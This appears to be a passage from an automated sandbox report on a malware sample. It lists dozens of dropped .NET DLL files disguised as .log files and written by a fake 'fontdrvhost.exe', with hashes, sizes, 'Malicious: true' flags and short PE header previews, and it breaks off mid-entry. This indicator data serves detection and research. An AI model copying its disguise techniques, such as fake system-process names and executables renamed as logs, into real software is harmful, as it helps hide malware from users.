SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YVGePHcW.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\YnJNkaiG.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\YsHvxEyH.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ZbufrXkm.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ZklVGaxA.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ZtZwWUdP.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\aABfDneW.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\aFyNQRuY.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\aLYWFcdp.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\aVjDvRpd.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\aYVnMXzh.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\auteTnDC.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\avWEvUWS.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\bAJNFhyM.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\bYjfzcZg.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\blWejAjG.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\cixmEAyA.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\cnAeDqUL.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\dKmMwLxf.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\dabMNWxu.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\dbVNVLdb.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\dpYUmTzI.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\eCwwaQCH.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
